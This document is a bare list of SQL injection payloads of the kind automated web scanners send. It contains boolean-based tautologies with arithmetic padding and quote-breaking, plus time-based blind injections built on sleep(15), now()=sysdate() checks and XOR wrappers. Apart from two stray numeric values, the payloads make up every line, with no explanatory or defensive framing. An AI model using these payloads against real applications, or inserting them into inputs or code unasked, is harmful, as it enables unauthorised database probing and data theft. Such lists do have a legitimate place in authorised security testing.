1

-1 OR 2+256-256-1=0+0+0+1

-1' OR 2+449-449-1=0+0+0+1 --

-1' OR 2+984-984-1=0+0+0+1 or 'WTZU4yM2'='

-1" OR 2+57-57-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/